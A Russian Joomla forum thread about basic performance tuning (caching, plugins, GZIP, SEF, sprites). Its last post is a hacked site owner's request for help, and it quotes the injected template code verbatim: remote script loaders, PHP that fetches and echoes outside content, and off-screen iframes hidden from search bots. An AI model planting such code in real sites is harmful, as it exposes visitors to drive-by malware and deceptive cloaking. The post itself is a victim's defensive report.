0 Пользователей и 1 Гость просматривают эту тему.
  • 15 Ответов
  • 4571 Просмотров
*

vadim s. sabinich

  • Захожу иногда
  • 139
  • 11 / 0
  • переводчик-любитель
Основы оптимизации Joomla
« : 01.04.2010, 02:12:30 »
Как только вы разберетесь с Joomla, один из неизменных вопросов, который будет вам докучать -  производительность. Почему? Ну..В наши дни даже Google говорит о том, что эффективная работа сайта может сказаться на поисковой оптимизации. Поэтому не стоит упускать этот вопрос из виду.

Итак, задача следующая. Я приведу несколько довольно замшелых способа для увеличения производительности ваших сайтов и хочу услышать в свою очередь от вас другие рецепты.. перед тем, как меня пинать, имейте ввиду, что речь идет о Joomla БЕЗ дополнительных расширений. Я вполне уверен, что когда речь заходит о безопасности и производительности, многие пользователи акцентирую свое внимание на довольно сложных вариантах решения, когда как они вполне могли бы добиться подобных же результатов более дешевыми и изящными методами. Я также хочу предостеречь пользователей, которые используют Joomla на виртуальных хостингах - некоторые оптимизации относительно сервера вы не сможете применить по причине ограниченного доступа к нему.

Итак, ниже представлены несколько основы, которые, на мой взгляд, будут полезны вашему вниманию.

    * Включите встроенное кеширование. Даже если вы включите файловый метод кеширования, и даже если на сервере не установлено ни одного php-кешера.
    * Следите за тем, чтобы Joomla была актуальной версии. Оптимизация улучшается от версии к версии, от обновления к обновлению.
    * Следите за тем, чтобы расширения были актуальной версии. Это не только увеличит безопасность, но и, возможно, изменит работу расширения в лучшую сторону.
    * На хостинге своевременно обновляются версии php, mysql и apache? И повторю, что наиболее безопасно использовать последние версии программ: php5, mysql5 и Apache2.
    * Что вы можете сказать про свой хостинг относительно производительности, надежности и безопасности? Что вы сделали со своим хостингом, какой опыт приобрели в настройке Joomla? Если вы платите 2 доллара в месяц за безлимитное дисковое пространство и траффик, то не рассчитывайте на высокую скорость работы.
    * Обращали ли вы внимание на то, что размер и количество изображений, CSS и javascript имеет прямое отношение к производительности вашего вебсайта? Что вы думаете о том, чтобы распределит статическое содержимое между хостами для увеличения доступа к ним? В наши дни есть вполне доступные решения (см. CDN).

..вот.. с этого можно и начать. А какие основные, фундаментальные шаги, которые помогут пользователям увеличить производительность Joomla без дополнительных расширений знаете вы?


Источник
VPS-хостинг на FirstVDS.ru || VPS/хостинг на ISPserver.com -- рефералам онлайн поддержка!
*

AlexSmirnov

  • Завсегдатай
  • 1862
  • 272 / 16
  • Ищите и найдете
Re: Основы оптимизации Joomla
« Ответ #1 : 03.04.2010, 15:44:59 »
спасибо за работу Вадим,

все новое - это хорошо забытое старое. нет сомнений, Ваш перевод пригодится и начинающим и просоленным Джумлянам.

пожалуйста взгляните на мои скромные усилия в читке и корректировке Вашего перевода, включающие и мелкие и существенные ошибки:

======================================

"Как только вы разберетесь..." – Как только вы освоите

"Я приведу несколько довольно замшелых..." – Я набросаю в общих чертах несколько основных рудиментарных …

"Итак, ниже представлены несколько основы ..." – Итак, ниже представлены несколько основных …

"Включите встроенное кешировани ...". - Включите встроенное кеширование Joomla

"Оптимизация улучшается от версии к версии, от обновления к обновлению..." – Производительность постоянно улучшается …

"… актуальной версии" – последней версии

"Что вы сделали со своим хостингом, какой опыт приобрели в настройке Joomla?" - Вы побеседовали с вашим хостером и установили их знание и опыт с Joomla?

"Что вы думаете о том, чтобы распределит статическое содержимое между хостами для увеличения доступа к ним?" - Что вы думаете об использовании СРК/Сетей Распространения Контента (см. CDN/Content Distribution Network), чтобы ускориться в этом районе?

с уважением

Александр




# Back the fufalo (особенно ту самую столкершу)! #
# ВАЖНО! Кайфую от удаления присланного в личку спама, почти как от любви (особенно по выходным). #
*

wildweasel

  • Захожу иногда
  • 109
  • 29 / 5
Re: Основы оптимизации Joomla
« Ответ #2 : 03.04.2010, 17:13:24 »
Относительно Joomla основы  - это:

1. Отключить все недействующие по причине несовпадения позиций вывода модули. Модуль, которому некуда отправлять вывод, очень сильно тормозит.
2. По причине п.1 не использовать условия вывода модуля в шаблоне.
3. Отключить все лишние плагины/мамботы
4. Имея в виду предыдущий пункт, использовать как можно меньше плагинов/мамботов.
5. Если в компоненте/модуле есть выбор "задействовать плагины/мамботы" и острой необходимости в оных нет - отключить.
6. Не использовать GZIP - трафик у большинства хостеров не лимитирован, а вот нагрузка на процессор таки да.
7. Не использовать SEF, если это возможно.
Летайте самолетами и сами по себе.
*

zikkuratvk

  • Глобальный модератор
  • 4818
  • 344 / 2
  • Обслуживаем проекты - дорого.
Re: Основы оптимизации Joomla
« Ответ #3 : 03.04.2010, 17:50:58 »
имхо... ребята не с того конца копаете... :) конечно модули отключать и плагины это хорошее дело и нужное... но реальной производительности это не даст... кстати сжатие лучше включить только не Joomla а серверное... скажете зачем? а потому что размер = скорость загрузки...
Улавливаете мысль?

Потом SEF встроенный не окажет фатальной нагрузки на хост... а для продвижения ой как поможет... так что его оставляем...

Теперь давайте поговорим об оптимизации производительсности...
Сколько весит ваша страница? одна единственная?
100? 200? 300? или может быть 1000? килобайт?
ребята будьте реалистами страница должна весить не больше 300 кб все что выше это не есть хорошо...
Как снижать... опять же компрессировать HTML может снизить с 40кб до 4 скажем... 36 получили... сшивать и компрессировать JS можете таким образом а уменьшить колличество запросов к серверу! а при сжатии какой нибудь библиотеке JS можно получить выигрышу до 50кб...
Дальше картинки... они у вас оптимизированны? а может быть надо сделать единую карту для постоянно подгружаемых картинок? на картинках я вам могу сказать по опыту спокойно можно выиграть 200-300 кб... а карта вам поможет сократить реальное колличество запросов скажем с сотни до 20-30... не хило?
что дальше? можно кешировать картинки... можно кешировать страницы целиком... и все это уменьшит запросы и время отдачи страницы... но то что я вам сейчас описал ... увеличит скорость загрузки сайта в 2-3 раза!
И можете проверить на опыте это за часту эффективней чем занятия по оптимизации админки... :-) хотя ее делать тоже надо...


Хочется уникальное расширение? ===>>>> JoomLine - Разрабатываем расширения под заказ.
Использую хостинг TimeWeb и Reg
*

wildweasel

  • Захожу иногда
  • 109
  • 29 / 5
Re: Основы оптимизации Joomla
« Ответ #4 : 03.04.2010, 18:11:09 »
Надо руководствоваться не мёртвой теорией столетней давности и измышленными из неё измышлениями, а реальной практикой.
Практика же гласит: ограничений на трафик у хостинг-провайдеров нет, ограничения на загрузку процессора есть. Потому GZIP идёт лесом, как и всякие супер-дупер примочки, объединяющие фоновые картинки в один CSS-спрайт, сами CSS в один сжатый файл итп.
Летайте самолетами и сами по себе.
*

yuri-it

  • Давно я тут
  • 994
  • 44 / 3
  • Быстрый хостинг https://jehost.ru
Re: Основы оптимизации Joomla
« Ответ #5 : 10.04.2010, 00:28:11 »
Потому GZIP идёт лесом, как и всякие супер-дупер примочки, объединяющие фоновые картинки в один CSS-спрайт, сами CSS в один сжатый файл итп.
С gzip могу еще согласится, но на счет всего остального - ошибочное мнение, нужно ВСЕГДА максимально уменьшать количество HTTP запросов.
По-настоящему быстрый хостинг для Joomla : https://jehost.ru
Отзывы: http://joomlaforum.ru/index.php/topic,109288.0.html
Отзывы по хостингу http://hosting101.ru/jehost.ru
*

Index

  • Захожу иногда
  • 59
  • 3 / 0
  • Ибо - воистину!!!
Re: Основы оптимизации Joomla
« Ответ #6 : 10.04.2010, 17:24:28 »

3. Отключить все лишние плагины/мамботы


А что оно даст? (абсолютно никакого быстродействия)

Если вы отключили данный модуль, плагин - это не значит, что он не грузится.
*

wildweasel

  • Захожу иногда
  • 109
  • 29 / 5
Re: Основы оптимизации Joomla
« Ответ #7 : 10.04.2010, 18:19:06 »
Это как раз значит.
Плагин/мамбот, если включен, как минимум загружает настройки и проверяет обстановку на наличие активирующих его признаков.

Код
	// check whether mambot has been unpublished
if ( !$published ) {
return true;
}

// simple performance check to determine whether bot should process further
if ( strpos( $row->text, '@' ) === false ) {
return true;
}
// simple check to allow disabling of bot
$regex = '{emailcloak=off}';
if ( strpos( $row->text, $regex )!== false ) {
$row->text = str_replace( $regex, '', $row->text );
return true;
}

Здесь мамбот скрытия емейла проверил, опубликован ли он, есть ли в тексте хоть какое-то емыло, и не отключен ли он псевдотегом '{emailcloak=off}'(если да - удаляет псевдотег). Соответственно, если не $published - не надо проверять п. 2 и 3.
Летайте самолетами и сами по себе.
*

k_morgan

  • Захожу иногда
  • 59
  • 1 / 0
Re: Основы оптимизации Joomla
« Ответ #8 : 11.04.2010, 04:27:47 »
Hi All!

Вопрос а это разное кеширование в Joomla? Одно в Общие настройки/Система/Установка кеша,  а второе Менеждер плагинов/System-Cache.

Если одинаковое, то зачем такое дублирование? Если разное, то чем отличается? И по чему System-Cache есть параметр использовать кеш браузера, который по умолчанию отключен?
*

palexa

  • Завсегдатай
  • 1108
  • 88 / 0
Re: Основы оптимизации Joomla
« Ответ #9 : 11.06.2010, 15:25:00 »

Вопрос а это разное кеширование в Joomla? Одно в Общие настройки/Система/Установка кеша,  а второе Менеждер плагинов/System-Cache.

Если одинаковое, то зачем такое дублирование? Если разное, то чем отличается? И по чему System-Cache есть параметр использовать кеш браузера, который по умолчанию отключен?

Присоеденяюсь к вопросу, плагин System - Cache имеет настройку
Использовать кеш браузера да и нет

В чём разница ? И как лучше поступить ?
*

Darkick

  • Завсегдатай
  • 1142
  • 239 / 1
Re: Основы оптимизации Joomla
« Ответ #10 : 11.06.2010, 17:49:30 »
http://joomlapedia.ru/index.php/Кеш (но на абсолютную истину не претендую)

*

palexa

  • Завсегдатай
  • 1108
  • 88 / 0
Re: Основы оптимизации Joomla
« Ответ #11 : 11.06.2010, 18:26:18 »
Меня больше интересовал вопрос, если включено Использовать кеш браузера - да - будет ли независимо от этого работать кеширование на сервере ?
*

olmer2002

  • Захожу иногда
  • 62
  • 1 / 0
Re: Основы оптимизации Joomla
« Ответ #12 : 11.06.2010, 19:37:05 »
Относительно Joomla основы  - это:

1. Отключить все недействующие по причине несовпадения позиций вывода модули. Модуль, которому некуда отправлять вывод, очень сильно тормозит.


можно расшифровку этой фразы? не совсем понял ее сокраментальный смысл. как это модулю некуда отправлять вывод или у него не совпадает позиция? о.О
*

palexa

  • Завсегдатай
  • 1108
  • 88 / 0
Re: Основы оптимизации Joomla
« Ответ #13 : 11.06.2010, 21:18:27 »
плагин кеша - это реально полное кешироване, у меня магазин фиг работает, даже корзина кешируется, невозможно удалить товар из корзины.

Отключил плагин, всё нормально.

Вот думаю, если в основных настройках включен кеш, а плагин выключен

Это нормально ? Будет ли работать кешировани при отключеном плагине.
« Последнее редактирование: 11.06.2010, 22:47:08 от 4webspot »
*

Darkick

  • Завсегдатай
  • 1142
  • 239 / 1
Re: Основы оптимизации Joomla
« Ответ #14 : 11.06.2010, 22:12:36 »
написано же в статье: будет работать кеширование каждого отдельного модуля и компонента, если это ими поддерживается.
*

wmsharp

  • Новичок
  • 1
  • 0 / 0
Re: Основы оптимизации Joomla
« Ответ #15 : 06.02.2013, 12:32:24 »
Здравствуйте, уважаемые гуру Joomla CMS. Недавно мою Joomla 1.5.26 взломали, после чего на нем на главной странице появилось окно со ссылкой на wizard-traffstock.com в правом нижнем углу. Ссылка баннера:
http://chels.healthyattitude.info/?851380=wInX2N-S18DX34mGgdng0-X65fbd7tvG5vrj5vnw3_bH_e3R7vPG_8DBh8Pk4v76x9mB5PfhgtHa19POmd_C8f2E_f_R-sXV_MyC1vft2teZ3Pv5_PKD-uHRjd6Hxvzy_djthevC3_qA_vnj_IbO0sGF7Pfa38z5_f_m7M3w8t770OHT2tmCgu3u7v2AjPrwxtXA3Ifr8f7n18bk8ND59_WEmdqDgf3s0MbNh_H4jc3f0P31jeCC7Nj78IGG2ILO5tD20eWFwdzlhMLe8vHs1dqGxpnthsbbzcD8-tHa3eSB69bA-4f98MDG-vLW0eXh1u3wjYzY-dPbh4Ti3fji9fOE2YDO8P7n8cLm-4XH5fzhzczG8dDczMHBhMXwxMbC_9L91_jw2cXD4fnF7u7c7Obd59D58dg
Здравствуйте!

Код внесённый злоумниками в страницу шаблона index.php: <script type="text/javascript">
(function(w) {
var script = document.createElement('script');
var i = setInterval(function() {
if (typeof w.document.body !== 'undefined') {
script.src = 'http://chels.healthyattitude.info' + '/?729268=wInAxpLW2NvX393Qx4mFjYSEjQ';
w.document.body.appendChild(script);
clearInterval(i);
}
}, 200);
})(window);
</script>

<?php
$utstat=@file_get_contents("http://goldfighters.com/utb.php?urlid=23306");
echo "$utstat";
?>
<?php
$utstat=@file_get_contents("http://goldfighters.com/utb.php?urlid=23306");
echo "$utstat";
?>
<?php
if(!preg_match('/(yandex|google|bot)/i', getenv('HTTP_USER_AGENT'))) {
echo '<iframe src="http://c' . mt_rand(1000, 9999). '.effete596.rsadvert.ru/';
echo '?in=53851" width="468" height="60" style="position:absolute;left:-10000px;"></iframe>';
}
?>
<?php
if(!preg_match('/(yandex|google|bot)/i', getenv('HTTP_USER_AGENT'))) {
echo '<iframe src="http://c' . mt_rand(1000, 9999). '.gappy426.rsadvert.ru/';
echo '?in=53851" width="468" height="60" style="position:absolute;left:-10000px;"></iframe>';
}
?>
<script type="text/javascript">
(function(w) {
var script = document.createElement('script');
var i = setInterval(function() {
if (typeof w.document.body !== 'undefined') {
script.src = 'http://rit.ranking-it.info' + '/?893484=WBFYXgpOQENPR0VIXxEeHRQVHw';
w.document.body.appendChild(script);
clearInterval(i);
}
}, 200);
})(window);
</script>

Ответ техподдержки:

Сам скрипт был внесён в результате наличия уязвимости в коде Вашей CMS.
Обратитесь к разработчику сайта (или к официальной техподдержке CMS)
для поиска решения и устранения данной проблемы.
Были затронуты файлы, которые удалось восстановить из более ранней
резервной копии (за 03.01.2013)


Появились файлы:

htdocs/templates/beez/index.php
htdocs/administrator/components: com_jce
htdocs/administrator/language/en-GB: en-GB.com_jce.ini
htdocs/administrator/language/en-GB: en-GB.com_jce.menu.ini
htdocs/administrator/language/en-GB: en-GB.plg_editors_jce.ini
htdocs/administrator/modules: mod_jcefilebrowser
htdocs/components: com_jce
htdocs/language/en-GB: en-GB.com_jce.ini
htdocs/language/en-GB: en-GB.com_jce.xml
htdocs/media: JCE
htdocs/modules: 11
htdocs/modules: 12
htdocs/modules: qq
htdocs/modules: zz
htdocs/plugins/editors: JCE.php
htdocs/plugins/editors: JCE.xml
htdocs/templates/adnak2012/index.php
htdocs/templates/beez/index.php
htdocs/templates/ja_purity/index.php
htdocs/templates/rhuk_milkyway2/index.php   

После у сайта мною были изменены префиксы БД с jos_ на neskazhy_ , удалены неиспользуемые модули. Теперь сайт работает нормально.
Как предотвратить дальнейшее возможное надругательство над сайтом?
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Joomla накешировала 200Mb в директорию cache/page при отключенном кешировании, что за ...?

Автор Marygold

Ответов: 12
Просмотров: 5393
Последний ответ 27.09.2023, 09:23:54
от XFQDesNik
Joomla и Amazon S3

Автор Ghost_370

Ответов: 14
Просмотров: 10304
Последний ответ 07.04.2019, 09:38:02
от powerful888
Соц.иконки добавить, Joomla 1.5.26

Автор nuon

Ответов: 1
Просмотров: 6048
Последний ответ 04.03.2018, 21:34:56
от nuon
Как сделать JSON-LD микроразметку для Joomla 1.5

Автор Amigo9876

Ответов: 1
Просмотров: 5149
Последний ответ 05.01.2018, 21:54:43
от krot
Joomla 1.5.26 и мета теги

Автор SLdieR11

Ответов: 3
Просмотров: 3771
Последний ответ 17.10.2017, 10:53:54
от SeBun